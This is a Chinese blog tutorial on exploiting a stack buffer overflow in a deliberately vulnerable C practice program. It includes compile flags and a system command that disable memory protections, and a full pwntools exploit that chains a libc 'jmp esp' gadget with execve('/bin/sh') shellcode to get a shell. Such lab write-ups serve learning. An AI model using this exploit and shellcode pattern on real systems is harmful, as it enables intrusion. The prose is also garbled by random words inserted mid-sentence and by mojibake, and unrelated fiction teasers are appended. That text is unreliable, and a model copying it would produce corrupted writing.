棧溢出練習(xí)

一蜗巧,工具安裝

pwntools工具安裝
$ sudo apt-get update
$ sudo apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
$ sudo pip install --upgrade pip
$ sudo pip install --upgrade pwntools

gcc/gdb安裝
$ sudo apt-get install gcc/gdb

peda安裝
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit    

二幕屹,程序

源碼文件名為:StackOF.c
#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

可以看到,其是將main函數(shù)里的buffer作為msg傳入vul函數(shù)里迅腔,然后拷貝到vul中的buffer,但是main函數(shù)中buffer大小為256,而vul函數(shù)中buffer的大小為64,這就是問題所在靠娱。

為了調(diào)試方便把保護(hù)操作關(guān)閉

gcc編譯:gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme StackOF.c

-m32:生成32位的可執(zhí)行文件
-no-pie:關(guān)閉程序ASLR/PIE(程序隨機(jī)化保護(hù))
-fno-stack-protector:關(guān)閉Stack Protector/Canary(棧保護(hù))
-z execstack:關(guān)閉DEP/NX(堆棧不可執(zhí)行)
-o:輸出
pwnme:編譯生成文件的文件名
StackOF.c:編譯前的源文件
嘗試運(yùn)行pwnme
觀察分析所開啟的漏洞緩解策略
最好加一條命令關(guān)閉系統(tǒng)的的地址隨機(jī)化

echo 0 > /proc/sys/kernel/randomize_va_space

三沧烈,思路

由源碼可知該棧溢出漏洞的原因是在調(diào)用strcpy之前未對(duì)源字符串的長(zhǎng)度進(jìn)行安全檢查。結(jié)果就是用戶輸入過長(zhǎng)時(shí)像云,會(huì)向高地址覆蓋锌雀。

那我們可以布局成

假設(shè)jmp esp的地址為0x12345678迅诬,在運(yùn)行到原返回地址位置也就是0x12345678時(shí)腋逆,會(huì)執(zhí)行0x12345678處的指令,也就是jmp esp,同時(shí)esp會(huì)+4,這時(shí)esp就指向了shellcode的起始位置侈贷,jmp esp一執(zhí)行惩歉,接下來就是執(zhí)行shellcode,如圖:

所以要構(gòu)造的buffer = 填充字符 + jmp_esp +shellcode

四,具體解決分析

jmp esp咋整呢俏蛮?這個(gè)我們可以去libc文件中查找(libc是個(gè)啥撑蚌?),c編寫的程序都要加載libc文件.

1.libc怎么找搏屑?

首先争涌,我們先查看加載的libc文件是什么版本
打開gdb調(diào)試pwnme

直接在main函數(shù)上下斷點(diǎn)

然后r運(yùn)行,加載程序辣恋,在斷點(diǎn)斷下

輸入 info sharedlibraryi sharedlibrary

這個(gè)時(shí)候你就找到了(- _-)!!!

2.找到jmp esplibc中的地址:jmp_esp_addr_offset

很簡(jiǎn)單亮垫,上代碼

from pwn import *

libc = ELF('/lib32/libc.so.6')                                #文件
jmp_esp = asm('jmp esp')                                      #jmp esp匯編指令的操作數(shù)

jmp_esp_addr_in_libc = libc.search(jmp_esp).next()            #搜索

print hex(jmp_esp_addr_in_libc)                               #打印

效果


但但但但是!N肮恰R省!這還沒完底靠,這個(gè)地址只是jmp esplibc文件里的位置(也叫偏移地址害晦,在最終代碼將命名為jmp_esp_addr_offset),要知道其在程序里的地址還要加上libc在程序里的起始地址(也叫基址暑中,在最終代碼將命名為libc_base),所以jmp esp在程序里的地址 : jmp_esp_addr = jmp_esp_addr_offset+libc_base,結(jié)合圖解一下

3壹瘟,找libc在程序里的地址:libc_base

輸入指令LD_TRACE_LOADED_OBJECTS=1 ./pwnme可以得到加載位置

4.編寫shellcode

通過調(diào)用系統(tǒng)調(diào)用獲得shell
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

五,最終代碼

from pwn import *

p = process('./pwnme')                    #運(yùn)行程序
p.recvuntil("shellcode:")                 #當(dāng)接受到字符串'shellcode:'

#找jmp_esp_addr_offset,見本文第四節(jié)第二點(diǎn)
libc = ELF('/lib32/libc.so.6')              
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:
    print hex(jmp_esp_addr_offset)

libc_base = 0xf7dd1000                              #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset      #得到j(luò)mp_esp_addr

print hex(jmp_esp_addr)

#構(gòu)造布局,本文第三節(jié)
buf = 'A'*76                                                     #如何得到填充數(shù)據(jù)大婿狻:http://www.reibang.com/p/278f8d1f8322
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

with open('poc','wb') as f:
    f.write(buf)

p.sendline(buf)                                                #發(fā)送構(gòu)造后的buf

p.interactive()

六稻轨,效果


輸入whoami測(cè)試一下


發(fā)現(xiàn)為root用戶,已經(jīng)可以產(chǎn)生交互雕凹。
附上相關(guān)文章一篇:http://www.mamicode.com/info-detail-2232012.htm

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末殴俱,一起剝皮案震驚了整個(gè)濱河市政冻,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌线欲,老刑警劉巖明场,帶你破解...
    沈念sama閱讀 218,682評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異李丰,居然都是意外死亡苦锨,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,277評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門趴泌,熙熙樓的掌柜王于貴愁眉苦臉地迎上來舟舒,“玉大人,你說我怎么就攤上這事嗜憔⊥豪” “怎么了?”我有些...
    開封第一講書人閱讀 165,083評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵吉捶,是天一觀的道長(zhǎng)夺鲜。 經(jīng)常有香客問我,道長(zhǎng)帚稠,這世上最難降的妖魔是什么谣旁? 我笑而不...
    開封第一講書人閱讀 58,763評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮滋早,結(jié)果婚禮上榄审,老公的妹妹穿的比我還像新娘。我一直安慰自己杆麸,他們只是感情好搁进,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,785評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著昔头,像睡著了一般饼问。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上揭斧,一...
    開封第一講書人閱讀 51,624評(píng)論 1 305
  • 那天莱革,我揣著相機(jī)與錄音,去河邊找鬼讹开。 笑死盅视,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的旦万。 我是一名探鬼主播闹击,決...
    沈念sama閱讀 40,358評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼成艘!你這毒婦竟也來了赏半?” 一聲冷哼從身側(cè)響起贺归,我...
    開封第一講書人閱讀 39,261評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎断箫,沒想到半個(gè)月后拂酣,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,722評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡瑰枫,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年踱葛,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片光坝。...
    茶點(diǎn)故事閱讀 40,030評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖甥材,靈堂內(nèi)的尸體忽然破棺而出盯另,到底是詐尸還是另有隱情,我是刑警寧澤洲赵,帶...
    沈念sama閱讀 35,737評(píng)論 5 346
  • 正文 年R本政府宣布鸳惯,位于F島的核電站,受9級(jí)特大地震影響叠萍,放射性物質(zhì)發(fā)生泄漏芝发。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,360評(píng)論 3 330
  • 文/蒙蒙 一苛谷、第九天 我趴在偏房一處隱蔽的房頂上張望辅鲸。 院中可真熱鬧,春花似錦腹殿、人聲如沸独悴。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,941評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽刻炒。三九已至,卻和暖如春自沧,著一層夾襖步出監(jiān)牢的瞬間坟奥,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,057評(píng)論 1 270
  • 我被黑心中介騙來泰國打工拇厢, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留爱谁,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,237評(píng)論 3 371
  • 正文 我出身青樓旺嬉,卻偏偏與公主長(zhǎng)得像管行,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子邪媳,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,976評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 緩沖區(qū)溢出(Buffer Overflow)是計(jì)算機(jī)安全領(lǐng)域內(nèi)既經(jīng)典而又古老的話題捐顷。隨著計(jì)算機(jī)系統(tǒng)安全性的加強(qiáng)荡陷,傳...
    Chivalrous閱讀 1,331評(píng)論 0 5
  • title: 緩沖區(qū)溢出date: 2016-06-15 20:30tags: Kali滲透測(cè)試 0x00 緩沖區(qū)...
    曼路x_x閱讀 1,903評(píng)論 0 5
  • 第一課:自我介紹 Let me introduce myself to you 請(qǐng)?jiān)试S我自我介紹一下 My nam...
    奮斗奮斗再奮斗6666閱讀 94評(píng)論 0 0
  • fondle 撫愛; 撫擦; 撫摩;Bauhaus movementGod is in the details.L...
    我的馬拉松閱讀 477評(píng)論 0 0
  • 我說的世間的真情是指父母的愛,有的人生活一輩子都不知道這個(gè)世間的愛到底是什么迅涮,他們只知道這個(gè)愛是愛情废赞,其實(shí)你也可以...
    筆下寫輝煌閱讀 197評(píng)論 1 1